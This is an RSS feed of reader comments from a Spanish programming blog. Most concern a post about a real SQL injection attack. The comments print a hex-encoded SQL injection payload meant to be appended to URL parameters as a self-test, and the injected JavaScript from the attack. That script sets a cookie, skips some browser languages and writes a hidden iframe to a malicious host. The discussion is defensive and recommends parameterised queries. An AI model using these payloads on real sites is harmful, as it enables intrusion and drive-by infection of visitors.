		<link>http://www.programandoamedianoche.com/2008/06/deshabilitar-controles-de-la-pagina-hasta-que-finalicen-los-updatepanels/comment-page-1/#comment-24</link>
		<dc:creator>John David</dc:creator>
		<pubDate>Mon, 02 Feb 2009 05:25:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=6#comment-24</guid>
		<description>Estuve revisando y resulta que luego de que se carga por primera vez la página, no sigue haciendo llamadas ni asincrónicas ni sincrónicas (ya no pasa por el load), sin embargo los update siguen funcionando y demás; Alguien tiene una idea de cómo controlar esto?</description>
		<content:encoded><![CDATA[<p>Estuve revisando y resulta que luego de que se carga por primera vez la página, no sigue haciendo llamadas ni asincrónicas ni sincrónicas (ya no pasa por el load), sin embargo los update siguen funcionando y demás; Alguien tiene una idea de cómo controlar esto?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Deshabilitar controles de la página hasta que finalicen los UpdatePanels por John David</title>
		<link>http://www.programandoamedianoche.com/2008/06/deshabilitar-controles-de-la-pagina-hasta-que-finalicen-los-updatepanels/comment-page-1/#comment-23</link>
		<dc:creator>John David</dc:creator>
		<pubDate>Mon, 02 Feb 2009 04:18:27 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=6#comment-23</guid>
		<description>Hola. Me encantó muchísimo el artículo, es bastante interesante. Lo probé y me funciona perfecto; pero una vez cambio a otra página o refresco deja de funcionar; tienen alguna idea de por qué puede haber sucedido?</description>
		<content:encoded><![CDATA[<p>Hola. Me encantó muchísimo el artículo, es bastante interesante. Lo probé y me funciona perfecto; pero una vez cambio a otra página o refresco deja de funcionar; tienen alguna idea de por qué puede haber sucedido?</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Efecto &#8220;Aero Glass&#8221; con Windows Presentation Foundation por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2008/12/efecto-aero-glass-en-wpf/comment-page-1/#comment-20</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Thu, 18 Dec 2008 17:43:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=134#comment-20</guid>
		<description>En efecto, el servicio &quot;Desktop Windows Manager&quot; (DWM), que es el encargado, entre otras cosas, de &quot;generar&quot; este efecto, sólo está disponible en Windows Vista.
Saludos.</description>
		<content:encoded><![CDATA[<p>En efecto, el servicio &#8220;Desktop Windows Manager&#8221; (DWM), que es el encargado, entre otras cosas, de &#8220;generar&#8221; este efecto, sólo está disponible en Windows Vista.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Efecto &#8220;Aero Glass&#8221; con Windows Presentation Foundation por Leonardo</title>
		<link>http://www.programandoamedianoche.com/2008/12/efecto-aero-glass-en-wpf/comment-page-1/#comment-19</link>
		<dc:creator>Leonardo</dc:creator>
		<pubDate>Thu, 18 Dec 2008 16:26:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=134#comment-19</guid>
		<description>este efecto no me funciona en windows XP, Windows server.
Solo me funciona cuando tengo esta instaldo el windows vista...</description>
		<content:encoded><![CDATA[<p>este efecto no me funciona en windows XP, Windows server.<br />
Solo me funciona cuando tengo esta instaldo el windows vista&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Arreglos en SQL Server por base de datos-base de datos</title>
		<link>http://www.programandoamedianoche.com/2008/10/arreglos-en-sql-server/comment-page-1/#comment-15</link>
		<dc:creator>base de datos-base de datos</dc:creator>
		<pubDate>Sun, 05 Oct 2008 03:59:24 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=25#comment-15</guid>
		<description>hola, muy bueno el blog, si deseas, ingresa a mi pagina, a publicar un comentario.saludos.
               base de datos de argentina-chile y españa
               http://tvinternet08.blogspot.com/</description>
		<content:encoded><![CDATA[<p>hola, muy bueno el blog, si deseas, ingresa a mi pagina, a publicar un comentario.saludos.<br />
               base de datos de argentina-chile y españa<br />
               <a href="http://tvinternet08.blogspot.com/" rel="nofollow">http://tvinternet08.blogspot.com/</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-14</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Tue, 05 Aug 2008 13:01:31 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-14</guid>
		<description>Lo que tendrías que hacer es, primero crear la tabla &quot;dummytest&quot; en la base (o bases) a la que accede la aplicación web que vas a probar, luego agregar :

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

al final de las urls que incluyan pasaje de parámetros por querystring ,por ejemplo si querés verificar que la página:
 
pgatacada.asp?p=11&amp;e=hola

ya no sea atacable, entonces deberías escribir en la url del browser lo siguiente:

pgatacada.asp?p=11&amp;e=hola;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);

Luego que le pidas al browser navegar la url con esto agregado, ingresá al Sql Server y consultá la tabla &quot;dummytest&quot; si hay un nuevo registro con el valor &#039;HACKED&#039; en el campo dummyfield, la página sigue siendo atacable. 
Si hay muchas páginas te va a llevar un poco de tiempo probarlas a todas, pero lo bueno es que estás utilizando el mismo método que uso el hacker para evitar que vuelva a atacarte, si el sistio no se encuentra protegido, solo se va a agregar un registro en una tabla propia, con lo cual no se genera ningún daño. No te olvides de eliminar las tablas &quot;dummytest&quot; que hayas creado cuando ya hayas terminado con las pruebas.

Suerte</description>
		<content:encoded><![CDATA[<p>Lo que tendrías que hacer es, primero crear la tabla &#8220;dummytest&#8221; en la base (o bases) a la que accede la aplicación web que vas a probar, luego agregar :</p>
<p>;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656<br />
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);</p>
<p>al final de las urls que incluyan pasaje de parámetros por querystring ,por ejemplo si querés verificar que la página:</p>
<p>pgatacada.asp?p=11&#038;e=hola</p>
<p>ya no sea atacable, entonces deberías escribir en la url del browser lo siguiente:</p>
<p>pgatacada.asp?p=11&#038;e=hola;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656<br />
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);</p>
<p>Luego que le pidas al browser navegar la url con esto agregado, ingresá al Sql Server y consultá la tabla &#8220;dummytest&#8221; si hay un nuevo registro con el valor &#8216;HACKED&#8217; en el campo dummyfield, la página sigue siendo atacable.<br />
Si hay muchas páginas te va a llevar un poco de tiempo probarlas a todas, pero lo bueno es que estás utilizando el mismo método que uso el hacker para evitar que vuelva a atacarte, si el sistio no se encuentra protegido, solo se va a agregar un registro en una tabla propia, con lo cual no se genera ningún daño. No te olvides de eliminar las tablas &#8220;dummytest&#8221; que hayas creado cuando ya hayas terminado con las pruebas.</p>
<p>Suerte</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Lobezno</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-13</link>
		<dc:creator>Lobezno</dc:creator>
		<pubDate>Tue, 05 Aug 2008 06:32:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-13</guid>
		<description>Cuando pones: &quot;... Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:
CREATE TABLE [dbo].[dummytest](
    [dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL
) ON [PRIMARY]

y creamos el siguiente SQL Injection para hacer las pruebas:
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES (&#039;HACKED&#039;)

De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva. ...&quot;

Como hago yo para lanzar un ataque a mi web? Podrías ayudarme? Quiero probar si ya lo hemos solucionado


Gracias y espero tu respuesta...</description>
		<content:encoded><![CDATA[<p>Cuando pones: &#8220;&#8230; Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:<br />
CREATE TABLE [dbo].[dummytest](<br />
    [dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL<br />
) ON [PRIMARY]</p>
<p>y creamos el siguiente SQL Injection para hacer las pruebas:<br />
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0&#215;494E5345525420494E544F2064756D6D7974657374202864756D6D796669656<br />
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);<br />
INSERT INTO dummytest (dummyfield) VALUES (&#8216;HACKED&#8217;)</p>
<p>De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva. &#8230;&#8221;</p>
<p>Como hago yo para lanzar un ataque a mi web? Podrías ayudarme? Quiero probar si ya lo hemos solucionado</p>
<p>Gracias y espero tu respuesta&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Lobezno</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-12</link>
		<dc:creator>Lobezno</dc:creator>
		<pubDate>Wed, 30 Jul 2008 08:12:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-12</guid>
		<description>Hola de nuevo, seguimos recibiendo ataques. Pongo aqui la información por si a alguien le resulta de ayuda.

window.status=&quot;&quot;;
n=navigator.userLanguage.toUpperCase();
if((n!=&quot;ZH-CN&quot;)&amp;&amp;(n!=&quot;ZH-MO&quot;)&amp;&amp;(n!=&quot;ZH-HK&quot;)&amp;&amp;(n!=&quot;BN&quot;)&amp;&amp;(n!=&quot;GU&quot;)&amp;&amp;(n!=&quot;NE&quot;)&amp;&amp;(n!=&quot;PA&quot;)&amp;&amp;(n!=&quot;ID&quot;)&amp;&amp;(n!=&quot;EN-PH&quot;)&amp;&amp;(n!=&quot;UR&quot;)&amp;&amp;(n!=&quot;RU&quot;)&amp;&amp;(n!=&quot;KO&quot;)&amp;&amp;(n!=&quot;ZH-TW&quot;)&amp;&amp;(n!=&quot;ZH&quot;)&amp;&amp;(n!=&quot;HI&quot;)&amp;&amp;(n!=&quot;TH&quot;)&amp;&amp;(n!=&quot;VI&quot;)){
var cookieString = document.cookie;
var start = cookieString.indexOf(&quot;v1goo=&quot;);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = &quot;v1goo=update;expires=&quot;+expires.toGMTString();
try{
document.write(&quot;&quot;);
}
catch(e)
{
};
}}

Este el nuevo codigo jss que han injectado pero esta vez lo han hecho dos veces (o ha habido dos ataques a la vez)

Un saludo.</description>
		<content:encoded><![CDATA[<p>Hola de nuevo, seguimos recibiendo ataques. Pongo aqui la información por si a alguien le resulta de ayuda.</p>
<p>window.status=&#8221;";<br />
n=navigator.userLanguage.toUpperCase();<br />
if((n!=&#8221;ZH-CN&#8221;)&amp;&amp;(n!=&#8221;ZH-MO&#8221;)&amp;&amp;(n!=&#8221;ZH-HK&#8221;)&amp;&amp;(n!=&#8221;BN&#8221;)&amp;&amp;(n!=&#8221;GU&#8221;)&amp;&amp;(n!=&#8221;NE&#8221;)&amp;&amp;(n!=&#8221;PA&#8221;)&amp;&amp;(n!=&#8221;ID&#8221;)&amp;&amp;(n!=&#8221;EN-PH&#8221;)&amp;&amp;(n!=&#8221;UR&#8221;)&amp;&amp;(n!=&#8221;RU&#8221;)&amp;&amp;(n!=&#8221;KO&#8221;)&amp;&amp;(n!=&#8221;ZH-TW&#8221;)&amp;&amp;(n!=&#8221;ZH&#8221;)&amp;&amp;(n!=&#8221;HI&#8221;)&amp;&amp;(n!=&#8221;TH&#8221;)&amp;&amp;(n!=&#8221;VI&#8221;)){<br />
var cookieString = document.cookie;<br />
var start = cookieString.indexOf(&#8220;v1goo=&#8221;);<br />
if (start != -1){}else{<br />
var expires = new Date();<br />
expires.setTime(expires.getTime()+9*3600*1000);<br />
document.cookie = &#8220;v1goo=update;expires=&#8221;+expires.toGMTString();<br />
try{<br />
document.write(&#8220;&#8221;);<br />
}<br />
catch(e)<br />
{<br />
};<br />
}}</p>
<p>Este el nuevo codigo jss que han injectado pero esta vez lo han hecho dos veces (o ha habido dos ataques a la vez)</p>
<p>Un saludo.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Dario M. Krapp</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-11</link>
		<dc:creator>Dario M. Krapp</dc:creator>
		<pubDate>Fri, 18 Jul 2008 22:57:52 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-11</guid>
		<description>Modifiqué el artículo y le agregué un ejemplo de como parametrizamos las consultas (es un ejemplo para ASP con OleBD). 

Como los ataques por SQL Injection son posibles debido a una mala programación. Creo que la única solución definitiva es corregir el código, desde que hicimos las modificaciones en el código (paremetrizar las consultas), no volvimos a tener problemas de SQL Injection.

Saludos</description>
		<content:encoded><![CDATA[<p>Modifiqué el artículo y le agregué un ejemplo de como parametrizamos las consultas (es un ejemplo para ASP con OleBD). </p>
<p>Como los ataques por SQL Injection son posibles debido a una mala programación. Creo que la única solución definitiva es corregir el código, desde que hicimos las modificaciones en el código (paremetrizar las consultas), no volvimos a tener problemas de SQL Injection.</p>
<p>Saludos</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por JMVB</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-10</link>
		<dc:creator>JMVB</dc:creator>
		<pubDate>Fri, 18 Jul 2008 08:05:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-10</guid>
		<description>Hola, gracias por la imformación, es muy completa.

Yo tambien he sufrido este ataque, mejor dicho lo sufro constantemente, he logrado por ahora evitarlo, filtrando los parametro que se pasan por la url, pero me gustaria saber como has conseguido hacer la solución que indicas, &quot;El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias&quot;,

podrias explicarla.

Muchas Gracias</description>
		<content:encoded><![CDATA[<p>Hola, gracias por la imformación, es muy completa.</p>
<p>Yo tambien he sufrido este ataque, mejor dicho lo sufro constantemente, he logrado por ahora evitarlo, filtrando los parametro que se pasan por la url, pero me gustaria saber como has conseguido hacer la solución que indicas, &#8220;El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias&#8221;,</p>
<p>podrias explicarla.</p>
<p>Muchas Gracias</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Lobezno</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-9</link>
		<dc:creator>Lobezno</dc:creator>
		<pubDate>Thu, 17 Jul 2008 19:14:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-9</guid>
		<description>Gracias a ti por tu ayuda.
El segundo dia de ataques el Norton si te advertia que estaban intentando acceder al pc mediante su mensaje estandard de alerta, lo que me mosquea es que un samaritano me advertia que mi pagina estaba llena de troyanos, con lo cual o tenia el Karspersky o es uno de los implicados en el tema. Lo del iframe si me preocupa mas. 

Sigo teniendo ataques, he podido ver los logs por fin y los ataques son desde distintas ips mundiales, uruguay, venezuela, francia, etc. por lo que ves es muy variado.

Encontramos un procedimiento que realiza el proceso inverso, es decir recorre todas las tablas de la base de datos y borra el texto que nos injecto el ataque.

Estamos investigando el declare que nos injecta, es casi igual que el que publicas aqui pero a partir de las 5 ultimas lineas varia supongo que ira variando seguna la url que le mete en el cast.

con la solucion que publicas habeis tenido problemas algun dia mas? ahora mismo no tenemos las BD infectadas pero seguimos siendo atacados.</description>
		<content:encoded><![CDATA[<p>Gracias a ti por tu ayuda.<br />
El segundo dia de ataques el Norton si te advertia que estaban intentando acceder al pc mediante su mensaje estandard de alerta, lo que me mosquea es que un samaritano me advertia que mi pagina estaba llena de troyanos, con lo cual o tenia el Karspersky o es uno de los implicados en el tema. Lo del iframe si me preocupa mas. </p>
<p>Sigo teniendo ataques, he podido ver los logs por fin y los ataques son desde distintas ips mundiales, uruguay, venezuela, francia, etc. por lo que ves es muy variado.</p>
<p>Encontramos un procedimiento que realiza el proceso inverso, es decir recorre todas las tablas de la base de datos y borra el texto que nos injecto el ataque.</p>
<p>Estamos investigando el declare que nos injecta, es casi igual que el que publicas aqui pero a partir de las 5 ultimas lineas varia supongo que ira variando seguna la url que le mete en el cast.</p>
<p>con la solucion que publicas habeis tenido problemas algun dia mas? ahora mismo no tenemos las BD infectadas pero seguimos siendo atacados.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Dario M. Krapp</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-8</link>
		<dc:creator>Dario M. Krapp</dc:creator>
		<pubDate>Wed, 16 Jul 2008 03:45:04 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-8</guid>
		<description>Muchas gracias por el script, continué investigando y descubrí que el document.write (el que está en blanco en el script) en otra versión que encotré por Internet hace lo siguiente:

document.write(&quot;iframe src=http://.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0&gt;/iframe&quot;);

Abre un iframe y navega una url (clásico ataque IFrame), nuevamente el sitio al que accedia el iframe (lo borramos en el blog) ya no era accesible, (otra vez la misma frustración). Al menos avanzamos otro paso.
  
Un detalle interesante es la sentencia:

if((n!=”ZH-CN”)&amp;&amp;(n!=”UR”)&amp;&amp;(n!=”RU”)&amp;&amp;(n!=”KO”)&amp;&amp;(n!=”ZH-TW”)&amp;&amp;(n!=”ZH”)&amp;&amp;(n!=”HI”)&amp;&amp;(n!=”TH”)&amp;&amp;(n!=”UR”)&amp;&amp;(n!=”VI”))

que hace que el iframe no se genere si el lenguaje del browser es de:

Rusia, Ucrania, China, Corea o Vietnam

Muchas grcias y saludos</description>
		<content:encoded><![CDATA[<p>Muchas gracias por el script, continué investigando y descubrí que el document.write (el que está en blanco en el script) en otra versión que encotré por Internet hace lo siguiente:</p>
<p>document.write(&#8220;iframe src=http://.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0&gt;/iframe&#8221;);</p>
<p>Abre un iframe y navega una url (clásico ataque IFrame), nuevamente el sitio al que accedia el iframe (lo borramos en el blog) ya no era accesible, (otra vez la misma frustración). Al menos avanzamos otro paso.</p>
<p>Un detalle interesante es la sentencia:</p>
<p>if((n!=”ZH-CN”)&amp;&amp;(n!=”UR”)&amp;&amp;(n!=”RU”)&amp;&amp;(n!=”KO”)&amp;&amp;(n!=”ZH-TW”)&amp;&amp;(n!=”ZH”)&amp;&amp;(n!=”HI”)&amp;&amp;(n!=”TH”)&amp;&amp;(n!=”UR”)&amp;&amp;(n!=”VI”))</p>
<p>que hace que el iframe no se genere si el lenguaje del browser es de:</p>
<p>Rusia, Ucrania, China, Corea o Vietnam</p>
<p>Muchas grcias y saludos</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de SQL Injection 100% real por Lobezno</title>
		<link>http://www.programandoamedianoche.com/2008/07/sql-injection-100-real/comment-page-1/#comment-7</link>
		<dc:creator>Lobezno</dc:creator>
		<pubDate>Tue, 15 Jul 2008 11:04:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=13#comment-7</guid>
		<description>Hola gracias por el aporte... como comentais ya esta en otro sitio y si poneis en el google ngg.js aparecen muchas paginas infectadas por dicho JS. Os pego el JS para que veais que es lo que hace.

window.status=&quot;&quot;;
n=navigator.userLanguage.toUpperCase();
if((n!=&quot;ZH-CN&quot;)&amp;&amp;(n!=&quot;UR&quot;)&amp;&amp;(n!=&quot;RU&quot;)&amp;&amp;(n!=&quot;KO&quot;)&amp;&amp;(n!=&quot;ZH-TW&quot;)&amp;&amp;(n!=&quot;ZH&quot;)&amp;&amp;(n!=&quot;HI&quot;)&amp;&amp;(n!=&quot;TH&quot;)&amp;&amp;(n!=&quot;UR&quot;)&amp;&amp;(n!=&quot;VI&quot;)){
var cookieString = document.cookie;
var start = cookieString.indexOf(&quot;updngg=&quot;);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = &quot;updngg=update;expires=&quot;+expires.toGMTString();
try{
document.write(&quot;&quot;);
}
catch(e)
{
};
}}

Segun informacion recopilada, solo el Kaspersky avisa de este &quot;virus&quot;. Yo tengo mi pagina infectada que estoy intentando arreglar, alojada en Arsys.

Alguno con el mismo problema?

Un saludo y gracias de nuevo por la información.</description>
		<content:encoded><![CDATA[<p>Hola gracias por el aporte&#8230; como comentais ya esta en otro sitio y si poneis en el google ngg.js aparecen muchas paginas infectadas por dicho JS. Os pego el JS para que veais que es lo que hace.</p>
<p>window.status=&#8221;";<br />
n=navigator.userLanguage.toUpperCase();<br />
if((n!=&#8221;ZH-CN&#8221;)&amp;&amp;(n!=&#8221;UR&#8221;)&amp;&amp;(n!=&#8221;RU&#8221;)&amp;&amp;(n!=&#8221;KO&#8221;)&amp;&amp;(n!=&#8221;ZH-TW&#8221;)&amp;&amp;(n!=&#8221;ZH&#8221;)&amp;&amp;(n!=&#8221;HI&#8221;)&amp;&amp;(n!=&#8221;TH&#8221;)&amp;&amp;(n!=&#8221;UR&#8221;)&amp;&amp;(n!=&#8221;VI&#8221;)){<br />
var cookieString = document.cookie;<br />
var start = cookieString.indexOf(&#8220;updngg=&#8221;);<br />
if (start != -1){}else{<br />
var expires = new Date();<br />
expires.setTime(expires.getTime()+11*3600*1000);<br />
document.cookie = &#8220;updngg=update;expires=&#8221;+expires.toGMTString();<br />
try{<br />
document.write(&#8220;&#8221;);<br />
}<br />
catch(e)<br />
{<br />
};<br />
}}</p>
<p>Segun informacion recopilada, solo el Kaspersky avisa de este &#8220;virus&#8221;. Yo tengo mi pagina infectada que estoy intentando arreglar, alojada en Arsys.</p>
<p>Alguno con el mismo problema?</p>
<p>Un saludo y gracias de nuevo por la información.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
